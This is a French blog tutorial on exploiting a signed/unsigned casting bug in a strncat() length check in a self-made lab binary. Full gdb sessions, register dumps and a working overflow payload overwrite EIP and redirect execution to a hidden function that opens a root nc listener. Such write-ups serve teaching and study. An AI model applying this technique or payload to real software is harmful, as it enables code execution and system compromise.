2010/11/14

Erreur de Casting ou corruption de la stack en milieu hostile

Salut a tous .
Actuellement en formation réseau , je n'ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,
je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).
 Notre objectif du jour sera ,comme souvent, la réécriture d'EIP , grace a un buffer overflow .

Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d'exécution
en écrasant EIP grace a une erreur dans l'emploi de la fonction C strncat().
Tout d'abord précisons l'environnement de travail:
root[Casting_error]# uname -a && cat /proc/sys/kernel/randomize_va_space 
Linux zenwalk 2.6.33.4 #1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux 
2 
A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;
a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..
root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c

(On remarquera au passage que malgré les arguments passés, GCC ne renvois aucun warnings lors de la compilation,
cela démontre que pour lui tout est correctement codé ('fin si on veux..) 
et que toute les fonctions sont utilisées selon les usages ) .
Lançons le afin de le tester un peu:
kmkz[Casting_error]# ./vuvu aaaaaaaaaa
Overflow attempt detected!

 Ok, passons aux choses sérieuses:
On remarque ici qu'il ne passe pas la condition , en effet , le code source indique que si argv[1] >= 64 ,
alors on affiche ce message et on quitte le programme.
Pourtant notre but sera d'accéder a la fonction «serveur» afin de le lancer malgré qu'il ne soit,en théorie, pas accéssible .
Comment faire?
Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.
 Pour commencer on lui indiquera un nombre  inférieur  à 64  pour tester sa réaction: 
kmkz[Casting_error]$ ./vuvu `printf "63"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

kmkz[Casting_error]$ 
Bon , maintenant voyons voir comment le binaire réagit avec de l'hexa (on sait que  \x3f = 63 , donc \x40 = 64 ) 
on check :
kmkz[Casting_error]# ./vuvu `printf "\x40"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Overflow attempt detected!
Ici on voit bien que la tentative d'overflow échoue car la condition n'est pas vérifiée.
Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (-128) afin de déborder
et d'écraser EIP.
Pourquoi \x80?
Tout simplement une question de Bits :P .
 Il faut garder a l'esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument
 qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme 
par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:
128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l'octet)
   0      1     1     1    1    0   0    1 ( Bits)
cela renverrait alors une erreur car la valeur serait bien trop grande ! 
x80 quand a lui est un nombre négatif (de \xFF à \x80) et s'étend sur les 24 premiers Bits quand il est de type signé,
 néanmoins , lorsqu'il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»
 lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.

Allez , maintenant qu'on connait la théorie , place à la pratique :
kmkz[Casting_error]# ./vuvu `printf "\x80"``perl -e 'print "A"x760'` // 760 soyons fou ...
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Erreur de segmentation  <-- Intéréssant , on a pu enfin obtenir un segfault  :P
Allons voir ça de plus prés avec notre ami GDB:

(gdb) r `printf "\x80"``perl -e 'print "A"x82'`  //82 car c'est ici la limite du segfault
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82
'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Regardons ce qui se passe au niveau du code assembleur et des registres : 
   ...
    0x08048580 <+106>:  movb   $0x0,-0x8(%ebp) 
   0x08048584 <+110>:   cmpb   $0x3f,-0x9(%ebp) 
   0x08048588 <+114>:   jle    0x80485ab <function_verif+149> 
---Type <return> to continue, or q <return> to quit--- 
   0x0804858a <+116>:   mov    0x80498e0,%eax 
   0x0804858f <+121>:   mov    %eax,%edx 
   0x08048591 <+123>:   mov    $0x8048758,%eax 
   ...
Plaçons quelques points d'arrêts pour pouvoir y voir plus clair:
(gdb) b *function_verif+114
Breakpoint 1 at 0x8048588
(gdb) b *function_verif+116
Breakpoint 7 at 0x804858a

Allez , let's go ! 
(gdb) r `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()

On fait un info registers:
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0x1      1
edx            0xbffff23f       -1073745345
ebx            0x3f     63                 --> notre char initialisé à 64 (moins le nullbyte,soit 63) octets
esp            0xbffff1f0       0xbffff1f0
ebp            0xbffff248       0xbffff248
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0xbffff23c       -1073745348
eip            0x8048588        0x8048588 <function_verif+114>

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0xffffff7f       -128       --> notre argument nécéssaire pour l'overflow (\x80)
edx            0xbffff24e       -1073745330
ebx            0x41414141       1094795585
esp            0xbffff250       0xbffff250
ebp            0x41414141       0x41414141
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0x41414141       1094795585
eip            0x41414141       0x41414141

(gdb) i s
#0  0x41414141 in ?? ()
#1  0xbfff0041 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Ici on se rend bien compte de l'overflowing de la stack, tentons a présent de l'exploiter mauellement puis 
a l'aide de l'exploit codé a cet effet. 

Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j'ai opté pour cette méthode
car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est 
overwrité): 
objdump -d vuvu | grep serveur
080485d4 <serveur>:

Voilà , l'exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l'adresse fixée précédemment.
 82-5 =77 Octets  soit 4 Octets pour l'offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte 
pour la fin de string (non obligatoire ici , mais plus propre).
(gdb) r `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()
(gdb) c
Continuing.
[+] Activating server on port : 6666 
Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..: 
...
tcp        0      0 *:6666                  *:*                     LISTEN      root       18892       2786/nc  
...
L'exploitation a bien fonctionné , voyons maintenant avec notre exploit .


Voilà , j'espère que cela vous donnera des idées simpa , 
il me reste plus qu'à vous dire a bientôt pour de nouvelles aventures.
\o>

Links:
Exploit   Binaire(source vuvu.c) Article PDF